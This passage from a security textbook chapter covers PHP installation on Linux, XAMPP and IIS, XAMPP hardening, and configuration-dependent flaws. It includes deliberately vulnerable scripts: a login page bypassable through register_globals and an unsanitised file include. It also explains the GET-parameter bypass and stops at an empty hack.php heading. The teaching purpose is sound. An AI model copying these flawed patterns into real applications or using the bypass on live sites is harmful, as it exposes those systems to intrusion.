PHP - Cyber Operations: Building, Defending, and Attacking Modern Computer Networks (2015)

Cyber Operations: Building, Defending, and Attacking Modern Computer Networks (2015)

17. PHP

Mike O’Leary1

(1)

Department of Mathematics, Towson University, Towson, MD, US

Introduction

PHP is the final component of the traditional “LAMP” stack – -Linux, Apache, MySQL, and PHP. It provides a full-featured programming language to develop web pages with active content; it currently is used as the server-side programming language for roughly 80% of all web sites. The current version of PHP is PHP 5, which was initially released in July 2004. During 2008–2013, some systems continued to support and run the older PHP 4, which was released in 1998.

PHP is included in the software repositories for the different versions of Linux under consideration. It can be installed on these systems either as an Apache module or as a stand-alone CGI program; this can lead to very different security outcomes. It is also possible to run PHP on Windows systems. The XAMPP package provides Apache, MySQL, and PHP for Windows systems in a single installer. It is also possible to install and use PHP with IIS.

Poorly written applications in PHP are vulnerable to attack. Common attack vectors include the use of global variables or the use of included files. Exploiting these vulnerabilities often requires a particular PHP configuration, and so can be mitigated by securing the PHP configuration. Older versions of PHP are vulnerable to attack directly, independently of the security of any PHP application. Both application attacks and direct attacks on PHP can be blocked by ModSecurity.

Installation

There are two options when installing PHP on a Linux system with Apache. One option is to install PHP as an Apache module so that PHP is directly incorporated in Apache. The second option is to install PHP as a CGI program that runs separately from Apache.

To install PHP on a CentOS system, say a CentOS 6.2 system, start by installing PHP using yum with the command

[root@mirfak ∼]# yum install php

This installs the package php along with the dependencies php-cli and php-common. The installation provides two related programs – /usr/bin/php and /usr/bin/php-cgi.

[root@mirfak ∼]# ls -l /usr/bin/php*

-rwxr-xr-x. 1 root root 3281860 Nov 3 2011 /usr/bin/php

-rwxr-xr-x. 1 root root 3293160 Nov 3 2011 /usr/bin/php-cgi

To test the installation, create the simple PHP script /var/www/html/test.php with the content

Script 17-1. PHP code for test.php

<?php

phpinfo();

?>

All this script does is call the function phpinfo(), which provides information about the PHP installation. The script can be run from the command line with the command

[root@mirfak ∼]# php /var/www/html/test.php

PHP Version => 5.3.3

System => Linux mirfak.stars.example 2.6.32-220.el6.i686 #1 SMP Tue Dec 6 16:15:40 GMT 2011 i686

Build Date => Nov 3 2011 11:44:28

Configure Command => ’./configure’ ’--build=i386-redhat-linux-gnu’ ’--host=i386-redhat-linux-gnu’ ’--target=i686-redhat-linux-gnu’ ’--program-prefix=’ ’--prefix=/usr’ ’--exec-prefix=/usr’ ’--bindir=/usr/bin’ ’--sbindir=/usr/sbin’ ’--sysconfdir=/etc’ ’--datadir=/usr/share’

... Output Deleted ...

It can also be called from the PHP CGI program, which produces a web page

[root@mirfak ∼]# php-cgi /var/www/html/test.php

X-Powered-By: PHP/5.3.3

Content-type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">

<html><head>

<style type="text/css">

body {background-color: #ffffff; color: #000000;}

body, td, th, h1, h2 {font-family: sans-serif;}

pre {margin: 0px; font-family: monospace;}

... Output Deleted ...

With PHP installed, restart Apache and verify that PHP is installed as an Apache module

[root@mirfak ∼]# service httpd restart

Stopping httpd: [ OK ]

Starting httpd: [ OK ]

[root@mirfak ∼]# apachectl -t -D DUMP_MODULES | grep php

php5_module (shared)

Syntax OK

Visit the corresponding web page to see the output from the phpinfo() command (Figure 17-1). In particular, note that the server API is listed as “Apache 2.0 Handler,” indicating that PHP is running as an Apache module.

A333712_1_En_17_Fig1_HTML.jpg

Figure 17-1.

Output from the PHP test program test.php on a server configured to run PHP as an Apache module on CentOS 6.2

To run PHP as a CGI module in Apache, some changes need to be made to the Apache configuration file. The configuration file /etc/httpd/conf.d/php.conf contains the Apache directives for PHP; add the content

ScriptAlias /local-bin /usr/bin

AddHandler application/x-httpd-php5 php

Action application/x-httpd-php5 /local-bin/php-cgi

<Directory "/usr/bin">

Options +ExecCGI +FollowSymLinks

Order allow,deny

Allow from all

</Directory>

The AddHandler directive instructs Apache that any file having the extension php should be served by the handler application/x-httpd-php5. The subsequent Action directive instructs Apache to use the CGI script /local-bin/php-cgi whenever files of type application/x-httpd-php5 are requested. The initial ScriptAlias directive maps /local-bin to the location of the php-cgi program, which is /usr/bin. Together, these mean that any file with the extension .php is passed to /usr/bin/php-cgi, run, and the result returned to the user. The subsequent Directory directives ensure that Apache can execute CGI scripts and follow symbolic links in the directory /usr/bin.

Once the changes are made, restart Apache and then visit the PHP test page. The Server API reports “CGI/FastCGI” rather than “Apache 2.0 handler,” indicating that PHP is no longer being run as an Apache module, but instead as a CGI program.

The installation process is similar on other Linux distributions. On OpenSuSE, install the package php5 and either the module apache2-mod_php5 to run PHP as an Apache module, or php5-fastcgi to run PHP via CGI (or both). For example, on OpenSuSE 11.4 run

algieba:∼ # zypper install php5 apache2-mod_php5 php5-fastcgi

Loading repository data...

Reading installed packages...

Resolving package dependencies...

The following NEW packages are going to be installed:

apache2-mod_php5 libmm14 php5 php5-ctype php5-dom php5-fastcgi php5-hash php5-iconv php5-json php5-pdo php5-sqlite php5-tokenizer php5-xmlreader php5-xmlwriter sqlite2

The following recommended packages were automatically selected:

php5-ctype php5-dom php5-hash php5-iconv php5-json php5-sqlite php5-tokenizer php5-xmlreader php5-xmlwriter

The following packages are suggested, but will not be installed:

php5-gd php5-gettext php5-mbstring php5-mysql php5-pear php5-suhosin

15 new packages to install.

As was the case on CentOS, this creates /usr/bin/php and /usr/bin/php-cgi, however on some versions of OpenSuSE (e.g., 11.4) these are links.

algieba:∼ # ls -l /usr/bin/php*

lrwxrwxrwx 1 root root 21 Apr 1 18:08 /usr/bin/php -> /etc/alternatives/php

lrwxrwxrwx 1 root root 25 Apr 1 18:08 /usr/bin/php-cgi -> /etc/alternatives/php-cgi

-rwxr-xr-x 1 root root 3619152 Feb 27 2011 /usr/bin/php-cgi5

-rwxr-xr-x 1 root root 3598444 Feb 27 2011 /usr/bin/php5

algieba:∼ # ls -l /etc/alternatives/php*

lrwxrwxrwx 1 root root 13 Apr 1 18:08 /etc/alternatives/php -> /usr/bin/php5

lrwxrwxrwx 1 root root 17 Apr 1 18:08 /etc/alternatives/php-cgi -> /usr/bin/php-cgi5

lrwxrwxrwx 1 root root 29 Apr 1 18:08 /etc/alternatives/php.1 -> /usr/share/man/man1/php5.1.gz

In particular, /usr/bin/php links to /etc/alternatives/php, which links to /usr/bin/php5, while /usr/bin/php-cgi links to /etc/alternatives/php-cgi, which links to /usr/bin/php-cgi5. If test.php is stored in the default document root /srv/www/htdocs/ on OpenSuSE, then it can be run with php.

algieba:∼ # php /srv/www/htdocs/test.php

phpinfo()

PHP Version => 5.3.5

System => Linux algieba 2.6.37.1-1.2-default #1 SMP 2011-02-21 10:34:10 +0100 i686

Server API => Command Line Interface

Virtual Directory Support => disabled

... Output Deleted ...

It can also be run with php-cgi.

algieba:∼ # php-cgi /srv/www/htdocs/test.php

X-Powered-By: PHP/5.3.5

Content-type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">

<html><head>

<style type="text/css">

body {background-color: #ffffff; color: #000000;}

... Output Deleted ...

Once the Apache server is restarted, a check of the web page produces a result like Figure 17-1 with the Server API Apache 2.0 handler, indicating that PHP is running as an Apache module.

If the Apache PHP module is installed on OpenSuSE 11.0 – 12.2, the file /etc/apache2/conf.d/php5.conf is created with the content

<IfModule mod_php5.c>

AddHandler application/x-httpd-php .php4

AddHandler application/x-httpd-php .php5

AddHandler application/x-httpd-php .php

AddHandler application/x-httpd-php-source .php4s

AddHandler application/x-httpd-php-source .php5s

AddHandler application/x-httpd-php-source .phps

DirectoryIndex index.php4

DirectoryIndex index.php5

DirectoryIndex index.php

</IfModule>

On OpenSuSE 12.3 and 13.1, that same file has the content

<IfModule mod_php5.c>

<FilesMatch "\.ph(p[345]?|tml)$">

SetHandler application/x-httpd-php

</FilesMatch>

<FilesMatch "\.php[345]?s$">

SetHandler application/x-httpd-php-source

</FilesMatch>

DirectoryIndex index.php4

DirectoryIndex index.php5

DirectoryIndex index.php

</IfModule>

To configure PHP to run as a CGI script instead of as an Apache module, add the same content used on CentOS:

ScriptAlias /local-bin /usr/bin

AddHandler application/x-httpd-php5 php

Action application/x-httpd-php5 /local-bin/php-cgi

<Directory "/usr/bin">

Options +ExecCGI +FollowSymLinks

Order allow,deny

Allow from all

</Directory>

Comment out the competing handler directives from /etc/apache2/conf.d/php5.conf before restarting Apache. Because /usr/bin/php-cgi is a symbolic link on OpenSuSE, the directory option +FollowSymLinks is required.

On Mint or Ubuntu systems, the first step is to install the required packages. The package php5 provides the core; to run PHP as an Apache module install libapache2-mod-php5 while to install PHP as a CGI module install php5-cgi. For example, on Ubuntu 11.10 run the command

rdescartes@heart:∼$ sudo apt-get install php5 libapache2-mod-php5 php5-cgi

Reading package lists... Done

Building dependency tree

Reading state information... Done

The following extra packages will be installed:

apache2-mpm-prefork php5-cli php5-common

Suggested packages:

php-pear php5-suhosin

The following packages will be REMOVED:

apache2-mpm-worker

The following NEW packages will be installed:

apache2-mpm-prefork libapache2-mod-php5 php5 php5-cgi php5-cli php5-common

0 upgraded, 6 newly installed, 1 to remove and 0 not upgraded.

Need to get 12.8 MB of archives.

After this operation, 34.2 MB of additional disk space will be used.

This installs the command-line package php5-cli as a dependency. As is the case on other distributions, this creates /usr/bin/php and /usr/bin/php-cgi; however, /usr/bin/php is a link.

rdescartes@heart:∼$ ls -l /usr/bin/php*

lrwxrwxrwx 1 root root 21 2015-04-02 20:48 /usr/bin/php -> /etc/alternatives/php

-rwxr-xr-x 1 root root 8156044 2011-08-25 19:31 /usr/bin/php5

-rwxr-xr-x 1 root root 8164268 2011-08-25 19:31 /usr/bin/php5-cgi

lrwxrwxrwx 1 root root 25 2015-04-02 20:48 /usr/bin/php-cgi -> /etc/alternatives/php-cgi

rdescartes@heart:∼$ ls -l /etc/alternatives/php

lrwxrwxrwx 1 root root 13 2015-04-02 20:48 /etc/alternatives/php -> /usr/bin/php5

The command-line PHP /usr/bin/php is contained in the package php5-cli; this is not installed as a dependency during this installation process on Ubuntu 10.10 or Mint 10 and earlier. The test script can be saved as /var/www/test.php and run using the command line tool (if installed) and the PHP CGI tool. Once the Apache web server is restarted,1 verify that PHP is running as an Apache module (Figure 17-1).

This installation process creates the files /etc/apache2/mods-enabled/php5.conf and /etc/apache2/mods-enabled/php5.load. On Ubuntu 11.10, this first file has the content

<IfModule mod_php5.c>

<FilesMatch "\.ph(p3?|tml)$">

SetHandler application/x-httpd-php

</FilesMatch>

<FilesMatch "\.phps$">

SetHandler application/x-httpd-php-source

</FilesMatch>

# To re-enable php in user directories comment the following lines

# (from <IfModule ...> to </IfModule>.) Do NOT set it to On as it

# prevents .htaccess files from disabling it.

<IfModule mod_userdir.c>

<Directory /home/*/public_html>

php_admin_value engine Off

</Directory>

</IfModule>

</IfModule>

Newer versions beginning with Ubuntu 12.10 and Mint 14 are structured slightly differently, while on older versions like Ubuntu 8.04 – 9.10 and Mint 5 – 8 the file has the content

<IfModule mod_php5.c>

AddType application/x-httpd-php .php .phtml .php3

AddType application/x-httpd-php-source .phps

</IfModule>

To configure PHP to run as CGI, Apache needs the actions module; create the proper links in /etc/apache2/mods-available.

rdescartes@heart:∼$ sudo ln -s /etc/apache2/mods-available/actions.conf /etc/apache2/mods-enabled/

rdescartes@heart:∼$ sudo ln -s /etc/apache2/mods-available/actions.load /etc/apache2/mods-enabled/

Update the configuration file /etc/apache2/mods-enabled/php5.conf to contain the same content used on other distributions

ScriptAlias /local-bin /usr/bin

AddHandler application/x-httpd-php5 php

Action application/x-httpd-php5 /local-bin/php-cgi

<Directory "/usr/bin">

Options +ExecCGI +FollowSymLinks

Order allow,deny

Allow from all

</Directory>

Be sure to comment out competing handler directives. Restart Apache and visit the test page with a browser to verify that PHP is running as CGI.

Ubuntu 13.10 and Mint 16 use Apache 2.4, which does not support the Order, Allow, and Deny directives; instead the Directory directive should have the structure

<Directory "/usr/bin">

Options +ExecCGI +FollowSymLinks

Require all granted

</Directory>

Further, Ubuntu 13.10 and Mint 16 also require that Apache loads the CGI module before PHP functions as CGI.

leuler@Eagle:/etc/apache2/mods-enabled$ sudo ln -s /etc/apache2/mods-available/cgi.load /etc/apache2/mods-enabled/

XAMPP

One approach to PHP on Windows is XAMPP. This provides Apache, MySQL, and PHP for Windows in a single combined package (along with some other useful tools). It is available for download from https://www.apachefriends.org/index.html . The simplest way to install it is to download and run the installer (Figure 17-2). There is some variation between the different versions of XAMPP, and some versions require the Microsoft Visual Studio Redistributable Packages during installation. Table 17-2 (in the Notes and References section) lists the included version of Apache, MySQL, and PHP for the various versions of XAMPP.

A333712_1_En_17_Fig2_HTML.jpg

Figure 17-2.

Installing XAMPP 1.8.0 from the installer on Windows Server 2012 R2

Once XAMPP is installed, it provides a control panel (Figure 17-3) to control and configure the various provided services.

A333712_1_En_17_Fig3_HTML.jpg

Figure 17-3.

The XAMPP Control Panel for XAMPP 1.8.0 running on Windows Server 2012 R2

The default document root for the Web server is C:\xampp\htdocs; that directory contains a pair of index files; a simple index.html, and the file index.php with the content

<?php

if (!empty($_SERVER[’HTTPS’]) && (’on’ == $_SERVER[’HTTPS’])) {

$uri = ’https://’;

} else {

$uri = ’http://’;

}

$uri .= $_SERVER[’HTTP_HOST’];

header(’Location: ’.$uri.’/xampp/’);

exit;

?>

Something is wrong with the XAMPP installation :-(

This PHP script is used by default; it sets a header with a 302 (redirect) status code to sends the client to the page localhost/xampp using the same method (HTTP or HTTPS) that loaded the page.

The primary Apache configuration file is C:\xampp\apache\conf\httpd.conf. That file sets the location of document root to C:\xampp\htdocs and includes a DirectoryIndex directive that preferentially loads index.php if it exists in the form

<IfModule dir_module>

DirectoryIndex index.php index.pl index.cgi index.asp index.shtml index.html index.htm \

default.php default.pl default.cgi default.asp default.shtml default.html default.htm \

home.php home.pl home.cgi home.asp home.shtml home.html home.htm

</IfModule>

Start the Apache web server and visit the web site (http://localhost); this provides a web interface that can also be used to configure the server. The status link on the left side menu leads to a page that shows the status of the servers (Figure 17-4).

A333712_1_En_17_Fig4_HTML.jpg

Figure 17-4.

The XAMPP status page, viewed from a Firefox browser on the server itself

The MySQL tools are stored in the directory C:\xampp\mysql, including the command-line client. The XAMPP shell from the XAMPP Control Panel (Figure 17-3) provides a customized command prompt with updated path and environment variables. The MySQL client can be started directly from the XAMPP shell

Administrator@SYLVIA c:\xampp

# mysql -u root

Welcome to the MySQL monitor. Commands end with ; or \g.

Your MySQL connection id is 5

Server version: 5.5.25a MySQL Community Server (GPL)

Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its

affiliates. Other names may be trademarks of their respective

owners.

Type ’help;’ or ’\h’ for help. Type ’\c’ to clear the current input statement.

Some versions of XAMPP do not include the XAMPP shell; then the MySQL client can be launched by specifying the full path C:\xampp\mysql\bin\mysql.exe.

In the default MySQL installation no account, including the root account, has a password. On XAMPP 1.8.0, for example, a check of the MySQL database shows

mysql> select user, host, password from mysql.user;

+------+-----------+----------+

| user | host | password |

+------+-----------+----------+

| root | localhost | |

| root | linux | |

| | localhost | |

| | linux | |

| pma | localhost | |

+------+-----------+----------+

5 rows in set (0.00 sec)

The precise collection of default users varies with the version of XAMPP.

The MySQL instance can also be managed from phpMyAdmin. Start phpMyAdmin from the XAMPP status page (Figure 17-4) by selecting phpMyAdmin from the list of tools on the left side of the page. The resulting page (Figure 17-5) provides a graphical interface to many of the features of MySQL. Databases can be managed, MySQL users updated, and SQL queries run. It is similar in spirit to HeidiSQL, which is included in Windows packages for MariaDB; see Chapter 15 and Figure 15-4. The phpMyAdmin tool is covered in more detail in Chapter 18.

A333712_1_En_17_Fig5_HTML.jpg

Figure 17-5.

The page for phpMyAdmin on XAMPP 1.8.0 running on Windows Server 2012 R2

Securing XAMPP

The default installation of XAMPP is insecure; the XAMPP configuration web page does not require authentication, there are no passwords for the MySQL accounts, and phpMyAdmin can be accessed without a password.

From the XAMPP status page (Figure 17-4), select Security from the left side menu to be taken to a page that shows the security status for XAMPP. Initially that page shows that the installation is insecure. However, it contains a link to http://localhost/security/xamppsecurity.php (Figure 17-6), and this page can be used to update the MySQL root password and to require authentication before granting access to the XAMPP status pages.

A333712_1_En_17_Fig6_HTML.jpg

Figure 17-6.

Setting the passwords for MySQL and the XAMPP status page

Once these changes are made, the security page on recent versions of XAMPP reports that XAMPP is secure,2 however, significant additional work remains. For example, a check of the database shows that only one root account now has a password; the others are untouched.

mysql> select user, host, password from mysql.user;

+------+-----------+-------------------------------------------+

| user | host | password |

+------+-----------+-------------------------------------------+

| root | localhost | *668425423DB5193AF921380129F465A6425216D0 |

| root | linux | |

| | localhost | |

| | linux | |

| pma | localhost | |

+------+-----------+-------------------------------------------+

5 rows in set (0.00 sec)

To resolve these issues, unused root accounts and guest accounts can be deleted, and a password provided for pma@localhost via the MySQL client.

mysql> drop user root@linux;

Query OK, 0 rows affected (0.05 sec)

mysql> drop user ’’@localhost;

Query OK, 0 rows affected (0.00 sec)

mysql> drop user ’’@linux;

Query OK, 0 rows affected (0.00 sec)

mysql> set password for pma@localhost = password(’password1!’);

Query OK, 0 rows affected (0.00 sec)

mysql> select user, host, password from mysql.user;

+------+-----------+-------------------------------------------+

| user | host | password |

+------+-----------+-------------------------------------------+

| root | localhost | *668425423DB5193AF921380129F465A6425216D0 |

| pma | localhost | *0262F498E91CA294A8BA96084EEEDB5F635B23A3 |

+------+-----------+-------------------------------------------+

2 rows in set (0.00 sec)

The user pma@localhost is used to support some advanced features in phpMyAdmin. The configuration file for phpMyAdmin, located in C:\xampp\phpMyAdmin\config.inc.php must be updated with the new password; this can be done by editing the lines

/* User for advanced features */

$cfg[’Servers’][$i][’controluser’] = ’pma’;

$cfg[’Servers’][$i][’controlpass’] = ’password1!’;

Some versions of XAMPP provide the option to randomly select a password for the database user pma@localhost and automatically update C:\xampp\phpMyAdmin\config.inc.php.

Connections to the XAMPP control page or to phpMyAdmin can take place over HTTP without the benefit of encryption to secure the credentials in transit. The configuration for the SSL/TLS protected pages is stored in C:\xampp\apache\conf\extra\httpd-ssl.conf.

A new key can be generated with openssl, which is included with XAMPP. This is most simply done from the XAMPP Shell.

Administrator@SYLVIA c:\xampp

# openssl genrsa -out c:\xampp\apache\conf\ssl.key\sylvia.key 2048

Loading ’screen’ into random state - done

Generating RSA private key, 2048 bit long modulus

.............................+++

.........+++

e is 65537 (0x10001)

On older XAMPP installations without the XAMPP shell, specify the full path to the OpenSSL binary (C:\xampp\apache\bin\openssl.exe). As on Linux systems, the key can be checked.

Administrator@SYLVIA c:\xampp

# openssl rsa -text -noout -in c:\xampp\apache\conf\ssl.key\sylvia.key

Private-Key: (2048 bit)

modulus:

00:b9:04:7e:79:91:2a:18:b5:e0:1d:e9:69:62:8b:

98:ae:fb:a9:48:07:6b:ee:d2:be:c4:d1:e1:7a:cc:

7e:6e:61:b9:51:9a:06:85:2e:c8:71:60:1a:94:cc:

... Output Deleted ...

A certificate signing request is created in the same fashion as for Linux systems.

Administrator@SYLVIA c:\xampp

# openssl req -new -key c:\xampp\apache\conf\ssl.key\sylvia.key -out c:\xampp\apache\conf\ssl.csr\sylvia.csr

Loading ’screen’ into random state - done

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter ’.’, the field will be left blank.

-----

Country Name (2 letter code) [AU]:US

State or Province Name (full name) [Some-State]:Maryland

Locality Name (eg, city) []:Towson

Organization Name (eg, company) [Internet Widgits Pty Ltd]:Towson University

Organizational Unit Name (eg, section) []:

Common Name (eg, YOUR name) []:sylvia.asteroid.test

Email Address []:

Please enter the following ’extra’ attributes

to be sent with your certificate request

A challenge password []:

An optional company name []

If a standard command prompt is used rather than the XAMPP shell, then the location of the OpenSSL configuration file must be specified on the command line with the additional flag -config C:\xampp\apache\bin\openssl.cnf. Some versions of XAMPP (e.g,. 1.7.4) ship without this configuration file.

Once the .csr is created, it is signed by a signing server in the same fashion as before (c.f. Chapter 11)

[root@dubhe CA]# openssl x509 -req -days 365 -in /etc/pki/CA/sylvia.csr -CA /etc/pki/CA/certs/ca.crt -CAkey /etc/pki/CA/private/ca.key -out /etc/pki/CA/newcerts/sylvia.crt

Signature ok

subject=/C=US/ST=MD/L=Towson/O=Towson University/CN=sylvia.asteroid.test

Getting CA Private Key

Enter pass phrase for /etc/pki/CA/private/ca.key

Update the location of the server key and server certificate in C:\xampp\apache\conf\extra\httpd-ssl.conf

# Server Certificate:

# Point SSLCertificateFile at a PEM encoded certificate. If

# the certificate is encrypted, then you will be prompted for a

# pass phrase. Note that a kill -HUP will prompt again. Keep

# in mind that if you have both an RSA and a DSA certificate you

# can configure both in parallel (to also allow the use of DSA

# ciphers, etc.)

SSLCertificateFile "conf/ssl.crt/sylvia.crt"

# Server Private Key:

# If the key is not combined with the certificate, use this

# directive to point at the key file. Keep in mind that if

# you’ve both a RSA and a DSA private key you can configure

# both in parallel (to also allow the use of DSA ciphers, etc.)

SSLCertificateKeyFile "conf/ssl.key/sylvia.key"

Restart Apache, and verify that it is using the new key and signed certificate.

Once SSL/TLS is properly configured, its use should be mandated for the web site components that require authentication. The file C:\xampp\apache\conf\extra\httpd-xampp.conf contains Apache Directory directives to control access to the file system. Update the Directory for the XAMPP control page to require SSL/TLS with SSLRequireSSL and SSLOptions +StrictRequire so that section reads

<Directory "C:/xampp/htdocs/xampp">

<IfModule php5_module>

<Files "status.php">

php_admin_flag safe_mode off

</Files>

</IfModule>

AllowOverride AuthConfig

SSLRequireSSL

SSLOptions +StrictRequire

</Directory>

The same modification needs to be made to control access to phpMyAdmin; update the directory configuration to read

<Directory "C:/xampp/phpMyAdmin">

AllowOverride AuthConfig

Order allow,deny

Allow from all

SSLRequireSSL

SSLOptions +StrictRequire

</Directory>

The configuration file C:\xampp\apache\conf\extra\httpd-xampp.conf contains directives that control access to the various XAMPP control pages.

<LocationMatch "^/(?i:(?:xampp|security|licenses|phpmyadmin|webalizer|server-status|server-info))">

Order deny,allow

Deny from all

Allow from ::1 127.0.0.0/8 \

fc00::/7 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16 \

fe80::/10 169.254.0.0/16

ErrorDocument 403 /error/XAMPP_FORBIDDEN.html.var

</LocationMatch>

These can be adjusted to allow access only from approved locations.

Once these basic security precautions have been taken, the proper firewall ports can be opened.

PHP on IIS

PHP can be installed on Windows Server 2008 R2 and later integrated with IIS. To do so, download and run the Web Platform Installer from http://php.iis.net . In addition to PHP, the package includes PHP Manager, which is a component in IIS Manager. Prior to installing PHP on Windows Server 2012 or 2012 R2, be sure to install .NET Framework 3.5, or the installation of PHP Manager may fail. To install .NET Framework 3.5, from Server Manager navigate to Add roles and features and select .NET Framework 3.5 from the list of available features.

Once the installation is complete, visit PHP Manager from IIS Manager; it is available at the server and at the site level. After installation, it reports that PHP is not optimally configured (Figure 17-7). The hyperlink leads to a dialog box that makes configuration recommendations; they include setting the default document to index.php and ensuring that the monitorChangesTo setting points to the correct value (C:\Program Files (x86)\PHP\v5.3\php.ini).

A333712_1_En_17_Fig7_HTML.jpg

Figure 17-7.

PHP Manager on IIS Manager immediately after installation, shown on Windows Server 2012 R2

The applied PHP settings can be viewed by running Check phpinfo() from the PHP Manager (Figure 17-7). By default, PHP runs user CGI/FastCGI as its server API.

PHP Applications, Configuration, and Security

The security of a PHP application depends on the underlying configuration of PHP; an application may be secure with one PHP configuration but insecure with another.

Register Globals

As an example, create the following PHP application with the name global.php, and store the result in the web server’s document root.

Script 17-2. PHP code for global.php

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"

" http://www.w3.org/TR/html4/loose.dtd ">

<html>

<head>

<title>Admin Page</title>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

</head>

<body>

<?php

$pass = $_POST["pass"];

if(!empty($pass))

if(md5($pass)== ’2b4ae288a819f2bcf8e290332c838148’)

$admin = 1;

if($admin == 1)

administer();

else

authenticate();

function administer()

{

echo <<<html

<h3> Welcome to the site, administrator.</h3>

html;

}

function authenticate()

{

echo <<<html

<h3>Welcome to the system</h3>

<p>Authentication is required.</p>

<form method="POST" action="{$_SERVER[’PHP_SELF’]}">

Password: <input type="password" name="pass">

<input type="submit">

</form>

html;

}

?>

</body>

</html>

This script starts by setting the header for the web page; it then looks to see if the request contained the variable pass passed by a POST method; if so it calculates the MD5 hash of the passed password. If the MD5 hash matches the stored value,3 then the variable $admin is set to 1. Next, a check of that variable is made; if the value is 1 then the function administer() is called; otherwise the function authenticate() is called. The administer() function writes a short message to the page welcoming the administrator to the site. The authenticate() function presents a user with a form asking for the password; the form returns the result in the variable pass as a POST variable to the same web page. The script ends by closing the page body and the html text.

Is this a reasonably secure script? The answer depends on how PHP is configured.

The primary configuration file for PHP is php.ini. On CentOS systems, it is located in /etc/php.ini. On OpenSuSE systems, there are different configuration files depending on how PHP is called; the file /etc/php5/apache2/php.ini is used if PHP is called as an Apache module and /etc/php5/fastcgi/php.ini if PHP is called via CGI. Similarly, on Mint and Ubuntu, the configuration file /etc/php5/apache2/php.ini is used if PHP is called as an Apache module and the file /etc/php5/cgi/php.ini if PHP is called via CGI. On Windows systems using XAMPP, the configuration file is C:\xampp\php\php.ini, while on Windows system with PHP installed for IIS, the default configuration file is C:\Program Files (x86)\PHP\v5.3\php.ini.

The script global.php uses the superglobal array $_POST to find the value of the passed parameter, using the line

$pass = $_POST["pass"];

Would it not be more convenient to the script writer if that step could be omitted and the variable accessed directly as $pass? This is the approach taken in the first versions of PHP. In later versions of PHP, this behavior is controlled through the setting register_globals in php.ini. By default, the php.ini configuration file for PHP between 4.2 and 5.3 has the setting

register_globals = Off

Beginning with PHP 5.4 (released March 2012), this setting has been removed.

If global.php is run on a system with register_globals set to Off, it is reasonably secure. However, if the same script is run on a system with register_globals set to On, then it is vulnerable to attack. This is because the decision to pass the user through to the administrative page depends on the value of the variable $admin, which is only set to 1 if the user successfully authenticates. However, if register_globals is set to On, the attacker can pass values to that variable. To bypass the authentication, the attacker can pass the needed value for the variable $admin as a GET parameter; they then go directly to the administrator page without the necessity of entering a password (Figure 17-8).

A333712_1_En_17_Fig8_HTML.jpg

Figure 17-8.

Attacking the script global.php on a system with register_globals = On by passing a variable as a GET parameter

The flaw here is a combination of a script that did not carefully initialize all of its variables and poor security choices in the php.ini file. If the variables in the script were properly initialized or register_globals is set to Off, then there would be no flaw.

Include Vulnerabilities

Another important class of attacks against PHP applications are include vulnerabilities. To understand the issue, consider the script include.php; this is the front page for a fictional shop for two of my favorite characters.

Script 17-3. PHP code for include.php

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"

" http://www.w3.org/TR/html4/loose.dtd ">

<html>

<head>

<title>Product Information</title>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

</head>

<?php

if(!isset($_GET[’Customer’]))

{

echo <<<html

<body>

<h1>Welcome to Acme Coyote and Road Runner Supply Company.</h1>

<p>Before we can proceed, we need you to log in.</p>

<form action="{$_SERVER[’PHP_SELF’]}" method="GET">

<input type="radio" name="Customer" value="include_coyote">Wile E. Coyote<br>

<input type="radio" name="Customer" value="include_roadrunner">Road Runner<br>

<input type="submit" value="Log On">

</form>

</body>

html;

}

else

include($_GET[’Customer’].".php");

?>

</html>

In global.php, when the user visits the page the script runs one of two possible functions (authenticate() or administer()) depending on whether the password matched the provided hash. This puts the code for both pages inside a single file, making maintenance more difficult. Though this works in a simple case, it becomes more problematic in complex scenarios.

In contrast, in the example include.php, the page checks to see if the GET variable Customer has been set. If it has not, then it returns a form with pair of radio buttons: one for the virtuous Wile E. Coyote, and one for the dastardly Road Runner. If the GET variable Customer has been set though, then it includes a file that depends on the name of that variable. This approach lets the site writer store the code for Wile E. Coyote in one file and the code for Road Runner in a second file. The include directive in PHP incorporates the content of the included file at the include point of the script.

To see this in action, create the file include_roadrunner.php with the content

Script 17-4. PHP code for include_roadrunner.php

<?php

$bg_color = ’#000000’;

$fg_color = ’#fff000’;

$Customer = "Road Runner";

echo <<<html

<body bgcolor="$bg_color" text="$fg_color">

<h1>Acme Coyote and Road Runner Supply Company</h1>

<p>Thank you for visiting us today Road Runner!</p>

<p>Would you care to place an order?</p>

<form action="include_order.php" method="POST">

<input type="checkbox" value="Bird Seed" name="item[]">Bird Seed<br />

<input type="checkbox" value="Water" name="item[]">Water<br />

<input type="submit" value="Place Order">

</form>

</body>

html;

?>

Create the file include_coyote.php with the content

Script 17-5. PHP code for include_coyote.php

<?php

$bg_color = ’#000000’;

$fg_color = ’#ff0000’;

$Customer = "Wile E. Coyote";

echo <<<html

<body bgcolor="$bg_color" text="$fg_color">

<h1>Acme Coyote and Road Runner Supply Company</h1>

<p>Thank you for visiting us today Mr. Wile E. Coyote!</p>

<p>Would you care to place an order?</p>

<form action="include_order.php" method="POST">

<input type="checkbox" value="Rocket" name="item[]">Rocket<br />

<input type="checkbox" value="Giant Rubber Band" name="item[]">Giant Rubber Band<br />

<input type="checkbox" value="Dynamite" name="item[]">Dynamite<br />

<input type="submit" value="Place Order">

</form>

</body>

html;

?>

Each of these pages leads to the order page include_order.php; for simplicity suppose that it has the content

Script 17-6. PHP code for include_order.php

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" " http://www.w3.org/TR/html4/loose.dtd ">

<html>

<head>

<title>Order Form</title>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

</head>

<body>

Here is our order form....

</body>

</html>

In all of this, where is the vulnerability? Suppose that the file hack.php is present on the web server, where it has the content:

Script 17-7. PHP code for hack.php

